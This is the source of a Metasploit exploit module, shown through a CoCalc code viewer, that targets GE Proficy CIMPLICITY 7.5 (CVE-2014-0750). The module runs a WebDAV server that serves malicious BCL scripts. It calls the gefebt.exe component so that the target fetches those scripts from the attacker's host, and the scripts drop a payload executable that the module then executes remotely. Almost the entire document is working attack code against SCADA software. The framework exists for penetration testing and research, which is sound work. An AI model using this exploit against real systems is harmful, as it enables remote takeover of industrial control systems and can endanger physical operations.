Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Auxiliary::Report
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Remote::HttpServer::HTML
13
14
def initialize
15
super(
16
'Name' => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution',
17
'Description' => %q{
18
This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the
19
CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in
20
shared resources. An attacker can abuse this behavior to execute a malicious BCL and
21
drop an arbitrary EXE. The last one can be executed remotely through the WebView server.
22
This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded
23
CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. If
24
the target does not have the WebClient service enabled, an external SMB service is necessary.
25
},
26
'Author' => [
27
'amisto0x07', # Vulnerability discovery
28
'Z0mb1E', # Vulnerability discovery
29
'juan vazquez' # Metasploit module
30
],
31
'References' => [
32
[ 'CVE', '2014-0750'],
33
[ 'ZDI', '14-015' ],
34
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ]
35
],
36
'Stance' => Msf::Exploit::Stance::Aggressive,
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', {} ]
40
],
41
'DefaultTarget' => 0,
42
'Privileged' => true,
43
'DisclosureDate' => 'Jan 23 2014'
44
)
45
register_options(
46
[
47
Opt::RPORT(80),
48
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/' ]),
49
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]),
50
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]),
51
OptBool.new('ONLYMAKE', [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]),
52
OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/'])
53
]
54
)
55
end
56
57
def on_request_uri(cli, request)
58
case request.method
59
when 'OPTIONS'
60
process_options(cli, request)
61
when 'PROPFIND'
62
process_propfind(cli, request)
63
when 'GET'
64
process_get(cli, request)
65
else
66
vprint_status("#{request.method} => 404 (#{request.uri})")
67
resp = create_response(404, "Not Found")
68
resp.body = ""
69
resp['Content-Type'] = 'text/html'
70
cli.send_response(resp)
71
end
72
end
73
74
def autofilter
75
true
76
end
77
78
def process_get(cli, request)
79
if request.uri =~ /#{@basename}(\d)\.bcl/
80
print_status("GET => Payload")
81
data = @bcls[$1.to_i]
82
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
83
return
84
end
85
86
# Anything else is probably a request for a data file...
87
vprint_status("GET => DATA (#{request.uri})")
88
data = rand_text_alpha(8 + rand(10))
89
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
90
end
91
92
#
93
# OPTIONS requests sent by the WebDav Mini-Redirector
94
#
95
def process_options(cli, request)
96
vprint_status("OPTIONS #{request.uri}")
97
headers = {
98
'MS-Author-Via' => 'DAV',
99
'DASL' => '<DAV:sql>',
100
'DAV' => '1, 2',
101
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
102
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
103
'Cache-Control' => 'private'
104
}
105
resp = create_response(207, "Multi-Status")
106
headers.each_pair { |k, v| resp[k] = v }
107
resp.body = ""
108
resp['Content-Type'] = 'text/xml'
109
cli.send_response(resp)
110
end
111
112
#
113
# PROPFIND requests sent by the WebDav Mini-Redirector
114
#
115
def process_propfind(cli, request)
116
path = request.uri
117
print_status("Received WebDAV PROPFIND request")
118
body = ''
119
120
if (path =~ /\.bcl$/i)
121
print_status("Sending BCL multistatus for #{path} ...")
122
body = %Q|<?xml version="1.0"?>
123
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
124
<a:response>
125
</a:response>
126
</a:multistatus>
127
|
128
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
129
# Response for anything else (generally just /)
130
print_status("Sending directory multistatus for #{path} ...")
131
body = %Q|<?xml version="1.0" encoding="utf-8"?>
132
<D:multistatus xmlns:D="DAV:">
133
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
134
<D:href>#{path}</D:href>
135
<D:propstat>
136
<D:prop>
137
<lp1:resourcetype><D:collection/></lp1:resourcetype>
138
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
139
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
140
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
141
<D:lockdiscovery/>
142
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
143
</D:prop>
144
<D:status>HTTP/1.1 200 OK</D:status>
145
</D:propstat>
146
</D:response>
147
</D:multistatus>
148
|
149
else
150
print_status("Sending 404 for #{path} ...")
151
send_not_found(cli)
152
return
153
end
154
155
# send the response
156
resp = create_response(207, "Multi-Status")
157
resp.body = body
158
resp['Content-Type'] = 'text/xml'
159
cli.send_response(resp)
160
end
161
162
def check
163
uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")
164
uri << "?"
165
166
res = send_request_cgi('uri' => uri)
167
168
# res.to_s is used because the CIMPLICITY embedded web server
169
# doesn't send HTTP compatible responses.
170
if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/
171
return Exploit::CheckCode::Detected
172
end
173
174
Exploit::CheckCode::Unknown
175
end
176
177
def exploit
178
@extensions = "bcl"
179
@bcls = []
180
@total_exe = 0
181
182
setup_resources
183
184
make_bcls
185
186
print_status("BCLs available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl")
187
188
unless datastore['UNCPATH'].blank?
189
@bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) }
190
if datastore['ONLYMAKE']
191
print_warning("Files created, remember to upload the BCL files to the remote share!")
192
print_warning("Once ready set ONLYMAKE to false")
193
else
194
exploit_bcl
195
end
196
return
197
end
198
199
super
200
end
201
202
def setup_resources
203
if datastore['UNCPATH'].blank?
204
# Using WebDAV
205
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
206
@basename = rand_text_alpha(3)
207
@share_name = rand_text_alpha(3)
208
@exploit_unc = "\\\\#{my_host}\\"
209
@exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe"
210
unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/'
211
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
212
end
213
else
214
# Using external SMB Server
215
if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/
216
@exploit_unc = $1
217
@share_name = $2
218
@basename = $3
219
# Use an static file name for the EXE since the module doesn't
220
# deliver the BCL files in this case.
221
@exe_filename = "ge_pld.exe"
222
else
223
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc')
224
end
225
end
226
end
227
228
def make_bcls
229
exe = generate_payload_exe
230
# Padding to be sure we're aligned to 4 bytes.
231
exe << "\x00" until exe.length % 4 == 0
232
longs = exe.unpack("V*")
233
offset = 0
234
235
# gefebt.exe isn't able to handle (on my test environment) long
236
# arrays bigger than 16000, so we need to split it.
237
while longs.length > 0
238
parts = longs.slice!(0, 16000)
239
@bcls << generate_bcl(parts, offset)
240
offset += parts.length * 4
241
end
242
end
243
244
def generate_bcl(slices, offset)
245
bcl_payload = ""
246
247
slices.each_index do |i|
248
bcl_payload << "s(#{i + 1}) = #{slices[i]}\n"
249
end
250
251
<<~EOF
252
Option CStrings On
253
254
Sub Main()
255
Open "#{@exe_filename}" For Binary Access Write As #1
256
Dim s(#{slices.length}) As Long
257
#{bcl_payload}
258
259
For x = 1 To #{slices.length}
260
t = x - 1
261
Put #1,t*4+1+#{offset},s(x)
262
Next x
263
264
Close
265
End Sub
266
EOF
267
end
268
269
def execute_bcl(i)
270
print_status("Executing BCL code #{@basename}#{i}.bcl to drop final payload...")
271
272
uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")
273
uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl"
274
275
res = send_request_cgi('uri' => uri)
276
277
# We use res.to_s because the embedded CIMPLICITY Web server doesn't
278
# answer with valid HTTP responses.
279
if res and res.code == 200 and res.to_s =~ /(^Error.*$)/
280
print_error("Server answered with error: $1")
281
fail_with(Failure::Unknown, "#{peer} - Server answered with error")
282
elsif res and res.code == 200 and res.to_s =~ /No such file or directory/
283
fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file")
284
elsif res and res.code == 200
285
print_good("'200 OK' answer indicates success!")
286
else
287
fail_with(Failure::Unknown, "#{peer} - Unknown error")
288
end
289
end
290
291
def exploit_bcl
292
@bcls.each_index do |i|
293
execute_bcl(i)
294
end
295
296
print_status("Executing #{@exe_filename}...")
297
uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename)
298
uri << "?"
299
300
# Enough timeout to execute the payload, but don't block the exploit
301
# until there is an answer.
302
send_request_cgi({ 'uri' => uri }, 3)
303
end
304
305
def primer
306
exploit_bcl
307
service.stop
308
end
309
310
def file_create(fname, data)
311
ltype = "exploit.fileformat.#{self.shortname}"
312
full_path = store_local(ltype, nil, data, fname)
313
print_good("#{fname} stored at #{full_path}")
314
end
315
end
316
317